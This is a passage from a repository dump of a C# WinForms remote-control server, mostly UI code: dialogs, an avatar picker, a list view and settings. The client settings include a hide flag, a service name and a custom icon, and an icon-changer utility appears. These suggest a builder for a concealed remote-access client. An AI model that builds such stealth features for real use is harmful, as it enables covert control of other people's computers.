14 | public string NewName; 15 | 16 | public FrmRename(string oldName) 17 | { 18 | InitializeComponent(); 19 | this.textBox1.Text = oldName; 20 | } 21 | 22 | private void buttonOk_Click(object sender, EventArgs e) 23 | { 24 | this.NewName = this.textBox1.Text.Trim(); 25 | if (this.NewName.Length < 1) 26 | { 27 | MsgBox.Info("新名称不能为空!"); 28 | return; 29 | } 30 | 31 | this.DialogResult = System.Windows.Forms.DialogResult.OK; 32 | } 33 | 34 | private void buttonCancel_Click(object sender, EventArgs e) 35 | { 36 | this.DialogResult = System.Windows.Forms.DialogResult.Cancel; 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /RemoteControl.Server/FrmSelectAvatar.Designer.cs: -------------------------------------------------------------------------------- 1 | namespace RemoteControl.Server 2 | { 3 | partial class FrmSelectAvatar 4 | { 5 | /// 6 | /// Required designer variable. 7 | /// 8 | private System.ComponentModel.IContainer components = null; 9 | 10 | /// 11 | /// Clean up any resources being used. 12 | /// 13 | /// true if managed resources should be disposed; otherwise, false. 14 | protected override void Dispose(bool disposing) 15 | { 16 | if (disposing && (components != null)) 17 | { 18 | components.Dispose(); 19 | } 20 | base.Dispose(disposing); 21 | } 22 | 23 | #region Windows Form Designer generated code 24 | 25 | /// 26 | /// Required method for Designer support - do not modify 27 | /// the contents of this method with the code editor. 28 | /// 29 | private void InitializeComponent() 30 | { 31 | this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel(); 32 | this.SuspendLayout(); 33 | // 34 | // flowLayoutPanel1 35 | // 36 | this.flowLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; 37 | this.flowLayoutPanel1.Location = new System.Drawing.Point(0, 0); 38 | this.flowLayoutPanel1.Name = "flowLayoutPanel1"; 39 | this.flowLayoutPanel1.Size = new System.Drawing.Size(384, 308); 40 | this.flowLayoutPanel1.TabIndex = 0; 41 | // 42 | // FrmSelectAvatar 43 | // 44 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); 45 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; 46 | this.ClientSize = new System.Drawing.Size(384, 308); 47 | this.Controls.Add(this.flowLayoutPanel1); 48 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedToolWindow; 49 | this.Name = "FrmSelectAvatar"; 50 | this.Text = "选择头像"; 51 | this.Load += new System.EventHandler(this.FrmSelectAvatar_Load); 52 | this.ResumeLayout(false); 53 | 54 | } 55 | 56 | #endregion 57 | 58 | private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1; 59 | } 60 | } -------------------------------------------------------------------------------- /RemoteControl.Server/FrmSelectAvatar.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.ComponentModel; 4 | using System.Drawing; 5 | using System.Linq; 6 | using System.Text; 7 | using System.Windows.Forms; 8 | 9 | namespace RemoteControl.Server 10 | { 11 | public partial class FrmSelectAvatar : FrmBase 12 | { 13 | public string SelectedAvatarFile { get; private set; } 14 | public FrmSelectAvatar() 15 | { 16 | InitializeComponent(); 17 | this.flowLayoutPanel1.FlowDirection = FlowDirection.LeftToRight; 18 | this.flowLayoutPanel1.AutoScroll = true; 19 | base.EnableCancelButton = true; 20 | } 21 | 22 | private void FrmSelectAvatar_Load(object sender, EventArgs e) 23 | { 24 | var files = RSCApplication.GetAllAvatarFiles(); 25 | for (int i = 0; i < files.Count; i++) 26 | { 27 | var file = files[i]; 28 | var avatar = new PictureBox(); 29 | avatar.Width = 42; 30 | avatar.Height = 42; 31 | avatar.BackgroundImage = Image.FromFile(file); 32 | avatar.BackgroundImageLayout = ImageLayout.Stretch; 33 | avatar.Tag = file; 34 | avatar.Margin = new Padding(10, 5, 10, 5); 35 | avatar.MouseEnter += new EventHandler(avatar_MouseEnter); 36 | avatar.MouseLeave += new EventHandler(avatar_MouseLeave); 37 | avatar.MouseDoubleClick += new MouseEventHandler(avatar_MouseDoubleClick); 38 | this.flowLayoutPanel1.Controls.Add(avatar); 39 | } 40 | } 41 | 42 | void avatar_MouseDoubleClick(object sender, MouseEventArgs e) 43 | { 44 | PictureBox pb = sender as PictureBox; 45 | this.SelectedAvatarFile = pb.Tag as string; 46 | this.DialogResult = System.Windows.Forms.DialogResult.OK; 47 | } 48 | 49 | void avatar_MouseLeave(object sender, EventArgs e) 50 | { 51 | PictureBox pb = sender as PictureBox; 52 | pb.BorderStyle = BorderStyle.None; 53 | } 54 | 55 | void avatar_MouseEnter(object sender, EventArgs e) 56 | { 57 | 58 | PictureBox pb = sender as PictureBox; 59 | pb.BorderStyle = BorderStyle.FixedSingle; 60 | } 61 | } 62 | } 63 | -------------------------------------------------------------------------------- /RemoteControl.Server/ListViewItemFileOrDirTag.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Server 7 | { 8 | class ListViewItemFileOrDirTag 9 | { 10 | public string Path; 11 | public bool IsFile = false; 12 | 13 | public string FileOrDirName 14 | { 15 | get 16 | { 17 | if (string.IsNullOrEmpty(this.Path)) 18 | return string.Empty; 19 | 20 | if (this.IsFile) 21 | { 22 | return System.IO.Path.GetFileName(this.Path); 23 | } 24 | return System.IO.Path.GetDirectoryName(this.Path); 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /RemoteControl.Server/PacketReceivedEventArgs.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using RemoteControl.Protocals; 6 | 7 | namespace RemoteControl.Server 8 | { 9 | class PacketReceivedEventArgs : EventArgs 10 | { 11 | public SocketSession Session; 12 | public ePacketType PacketType; 13 | public object Obj; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /RemoteControl.Server/PasteInfo.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Server 7 | { 8 | /// 9 | /// 粘贴信息 10 | /// 11 | class PasteInfo 12 | { 13 | /// 14 | /// 是否删除源文件(复制模式不会删除,剪切模式会删除) 15 | /// 16 | public bool IsDeleteSourceFile; 17 | /// 18 | /// 源文件路径 19 | /// 20 | public string SourceFilePath; 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /RemoteControl.Server/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Windows.Forms; 5 | using System.Drawing; 6 | using RemoteControl.Protocals; 7 | using System.Runtime.InteropServices; 8 | using System.Diagnostics; 9 | 10 | namespace RemoteControl.Server 11 | { 12 | static class Program 13 | { 14 | /// 15 | /// 应用程序的主入口点。 16 | /// 17 | [STAThread] 18 | static void Main() 19 | { 20 | //Win32API.keybd_event(0x11, 0, 0, 0); 21 | //Win32API.keybd_event(18, 0, 0, 0); 22 | //Win32API.keybd_event(0x2E, 0, 0, 0); 23 | //Win32API.keybd_event(0x11, 0, 2, 0); 24 | //Win32API.keybd_event(18, 0, 2, 0); 25 | //Win32API.keybd_event(0x2E, 0, 2, 0); 26 | 27 | Application.EnableVisualStyles(); 28 | Application.SetCompatibleTextRenderingDefault(false); 29 | Application.Run(new FrmMain()); 30 | } 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /RemoteControl.Server/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // 有关程序集的常规信息通过下列属性集 6 | // 控制。更改这些属性值可修改 7 | // 与程序集关联的信息。 8 | [assembly: AssemblyTitle("RemoteControl.Server")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("Microsoft")] 12 | [assembly: AssemblyProduct("RemoteControl.Server")] 13 | [assembly: AssemblyCopyright("Copyright © Microsoft 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | [assembly: log4net.Config.XmlConfigurator()] 17 | 18 | // 将 ComVisible 设置为 false 使此程序集中的类型 19 | // 对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型, 20 | // 则将该类型上的 ComVisible 属性设置为 true。 21 | [assembly: ComVisible(false)] 22 | 23 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID 24 | [assembly: Guid("f945c3b8-d188-4b8a-90e0-932f8ac4cb7a")] 25 | 26 | // 程序集的版本信息由下面四个值组成: 27 | // 28 | // 主版本 29 | // 次版本 30 | // 内部版本号 31 | // 修订号 32 | // 33 | // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, 34 | // 方法是按如下所示使用“*”: 35 | // [assembly: AssemblyVersion("1.0.*")] 36 | [assembly: AssemblyVersion("1.0.0.0")] 37 | [assembly: AssemblyFileVersion("1.0.0.0")] 38 | -------------------------------------------------------------------------------- /RemoteControl.Server/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // 此代码由工具生成。 4 | // 运行时版本:4.0.30319.42000 5 | // 6 | // 对此文件的更改可能会导致不正确的行为,并且如果 7 | // 重新生成代码,这些更改将会丢失。 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace RemoteControl.Server.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /RemoteControl.Server/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /RemoteControl.Server/SendCommandHotKey.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | namespace RemoteControl.Server 7 | { 8 | public enum SendCommandHotKey 9 | { 10 | Enter, 11 | CtrlEnter 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /RemoteControl.Server/Settings.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using Newtonsoft.Json; 6 | 7 | namespace RemoteControl.Server 8 | { 9 | class Settings 10 | { 11 | const string SettingFileName = "config.json"; 12 | public static Settings CurrentSettings = new Settings(); 13 | public ClientParas ClientPara = new ClientParas(); 14 | public int ServerPort; 15 | public string SkinPath; 16 | 17 | static Settings() 18 | { 19 | try 20 | { 21 | string json = System.IO.File.ReadAllText(SettingFileName); 22 | Settings.CurrentSettings = JsonConvert.DeserializeObject(json); 23 | } 24 | catch (Exception ex) 25 | { 26 | } 27 | } 28 | 29 | public static void SaveSettings() 30 | { 31 | if (Settings.CurrentSettings == null) 32 | return; 33 | string json = JsonConvert.SerializeObject(Settings.CurrentSettings); 34 | System.IO.File.WriteAllText(SettingFileName, json); 35 | } 36 | } 37 | 38 | class ClientParas 39 | { 40 | public string ServerIP; 41 | public int ServerPort; 42 | public string ServiceName; 43 | public string OnlineAvatar; 44 | public bool IsHide; 45 | public string ClientIconPath; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /RemoteControl.Server/SortableListView.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Windows.Forms; 7 | 8 | namespace RemoteControl.Server 9 | { 10 | class SortableListView : ListView 11 | { 12 | private Dictionary mapping = new Dictionary(); 13 | public SortableListView() 14 | { 15 | this.ColumnClick += new ColumnClickEventHandler(SortableListView_ColumnClick); 16 | this.ListViewItemSorter = new ListViewItemComparer(); 17 | } 18 | 19 | void SortableListView_ColumnClick(object sender, ColumnClickEventArgs e) 20 | { 21 | // 记录每列的排序方式 22 | if(!mapping.ContainsKey(e.Column)) 23 | mapping.Add(e.Column, SortOrder.Ascending); 24 | 25 | var comparer = this.ListViewItemSorter as ListViewItemComparer; 26 | comparer.SortColumn = e.Column; 27 | comparer.Order = mapping[e.Column]; 28 | this.Sort(); 29 | 30 | // 切换每列的排列方式 31 | if (mapping[e.Column] == SortOrder.Ascending) 32 | { 33 | mapping[e.Column] = SortOrder.Descending; 34 | } 35 | else if (mapping[e.Column] == SortOrder.Descending) 36 | { 37 | mapping[e.Column] = SortOrder.Ascending; 38 | } 39 | } 40 | 41 | class ListViewItemComparer:IComparer 42 | { 43 | public int SortColumn = 0; 44 | public SortOrder Order = SortOrder.Ascending; 45 | 46 | public int Compare(object x, object y) 47 | { 48 | var itemX = x as ListViewItem; 49 | var itemY = y as ListViewItem; 50 | 51 | int value = 1; 52 | 53 | try 54 | { 55 | value = itemX.SubItems[SortColumn].Text.CompareTo(itemY.SubItems[SortColumn].Text); 56 | } 57 | catch (Exception ex) 58 | { 59 | return 1; 60 | } 61 | 62 | if (Order == SortOrder.Ascending) 63 | return value; 64 | else 65 | { 66 | return -1*value; 67 | } 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /RemoteControl.Server/UIUtil.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Windows.Forms; 6 | 7 | namespace RemoteControl.Server 8 | { 9 | public class UIUtil 10 | { 11 | public static void BindTextBoxCtrlA(TextBox textBox) 12 | { 13 | textBox.KeyDown += (o, args) => 14 | { 15 | if (args.Control && args.KeyCode == Keys.A) 16 | { 17 | textBox.SelectAll(); 18 | } 19 | }; 20 | } 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /RemoteControl.Server/Utils/IconChangerExtensions.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.IO; 6 | using System.Runtime.InteropServices; 7 | 8 | namespace RemoteControl.Server.Utils 9 | { 10 | public static class IconChangerExtensions 11 | { 12 | /// 13 | /// 从文件流中读取结构体 14 | /// 15 | /// 16 | /// 17 | /// 18 | public static T Read(this FileStream fs) where T:struct 19 | { 20 | byte[] buffer = new byte[Marshal.SizeOf(typeof(T))]; 21 | fs.Read(buffer, 0, buffer.Length); 22 | 23 | return buffer.ToStruct(); 24 | } 25 | 26 | public static T ToStruct(this byte[] data) 27 | { 28 | // 字节数组转IntPtr 29 | IntPtr ptr = Marshal.AllocHGlobal(data.Length); 30 | Marshal.Copy(data, 0, ptr, data.Length); 31 | // IntPtr转struct 32 | T result = (T)Marshal.PtrToStructure(ptr, typeof(T)); 33 | Marshal.Release(ptr); 34 | 35 | return result; 36 | } 37 | 38 | public static IntPtr ToPtr(this byte[] data) 39 | { 40 | IntPtr p = Marshal.AllocHGlobal(data.Length); 41 | Marshal.Copy(data, 0, p, data.Length); 42 | 43 | return p; 44 | } 45 | 46 | public static byte[] ToByteArray(this T obj) where T : struct 47 | { 48 | int size = Marshal.SizeOf(typeof(T)); 49 | IntPtr ptr = Marshal.AllocHGlobal(size); 50 | Marshal.StructureToPtr(obj, ptr, true); 51 | byte[] buffer = new byte[size]; 52 | Marshal.Copy(ptr, buffer, 0, buffer.Length); 53 | Marshal.FreeHGlobal(ptr); 54 | 55 | return buffer; 56 | } 57 | 58 | public static IntPtr ToPtr(this T obj) where T:struct 59 | { 60 | int size = Marshal.SizeOf(typeof(T)); 61 | IntPtr p = Marshal.AllocHGlobal(size); 62 | Marshal.StructureToPtr(obj, p, true); 63 | 64 | return p; 65 | } 66 | 67 | public static int GetStructSize(this T obj) where T:struct 68 | { 69 | return Marshal.SizeOf(typeof(T)); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /RemoteControl.Server/Utils/MsgBox.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Windows.Forms; 6 | 7 | namespace RemoteControl.Server.Utils 8 | { 9 | class MsgBox 10 | { 11 | public static DialogResult Error(string text) 12 | { 13 | return Show(text, "错误", MessageBoxButtons.OK, MessageBoxIcon.Error); 14 | } 15 | 16 | public static DialogResult Warning(string text) 17 | { 18 | return Show(text, "警告", MessageBoxButtons.OK, MessageBoxIcon.Warning); 19 | } 20 | 21 | public static DialogResult Question(string text, MessageBoxButtons buttons) 22 | { 23 | return Show(text, "询问", buttons, MessageBoxIcon.Question); 24 | } 25 | 26 | public static DialogResult Info(string text) 27 | { 28 | return Show(text, "提示", MessageBoxButtons.OK); 29 | } 30 | 31 | public static DialogResult Show(string text, string caption) 32 | { 33 | return Show(text, caption, MessageBoxButtons.OK); 34 | } 35 | 36 | public static DialogResult Show(string text, string caption, MessageBoxButtons buttons) 37 | { 38 | return Show(text, caption, buttons, MessageBoxIcon.Information); 39 | } 40 | 41 | public static DialogResult Show(string text, string caption, MessageBoxButtons buttons, MessageBoxIcon icon) 42 | { 43 | return Show(null, text, caption, buttons, icon); 44 | } 45 | 46 | public static DialogResult Show(IWin32Window owner, string text, string caption, MessageBoxButtons buttons, MessageBoxIcon icon) 47 | { 48 | return MessageBox.Show(owner, text, caption, buttons, icon); 49 | } 50 | } 51 | } 52 | -------------------------------------------------------------------------------- /RemoteControl.Server/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /RemoteControl.Server/app.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/app.ico -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/14321_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14321_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/14724_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14724_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/14726_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/14726_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/15609_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15609_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/15746_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15746_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/15849_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15849_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/15942_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15942_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/15944_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/15944_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16005_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16005_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16063_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16063_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16206_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16206_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16211_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16211_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16212_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16212_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16213_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16213_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16219_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16219_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16221_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16221_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16224_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16224_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16225_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16225_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16228_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16228_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16236_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16236_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16237_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16237_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16238_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16238_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16242_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16242_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16243_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16243_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16247_100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16247_100.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16250_100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16250_100.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16251_100.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16251_100.gif -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16252_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16252_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16253_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16253_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16254_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16254_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16255_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16255_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16256_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16256_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16257_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16257_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16258_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16258_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Avatars/16260_100.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Avatars/16260_100.png -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/IrisSkin2.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/IrisSkin2.dll -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/Newtonsoft.Json.Lite.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/Newtonsoft.Json.Lite.dll -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/RemoteControl.Audio.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Audio.dll -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/RemoteControl.Client.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Client.dat -------------------------------------------------------------------------------- /RemoteControl.Server/bin/Debug/RemoteControl.Protocals.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Trevor3000/RemoteControl/5a8d6fa252488e96a7a2cb9a90f4ff587085f586/RemoteControl.Server/bin/Debug/RemoteControl.Protocals.dll -------------------------------------------------------------------------------- 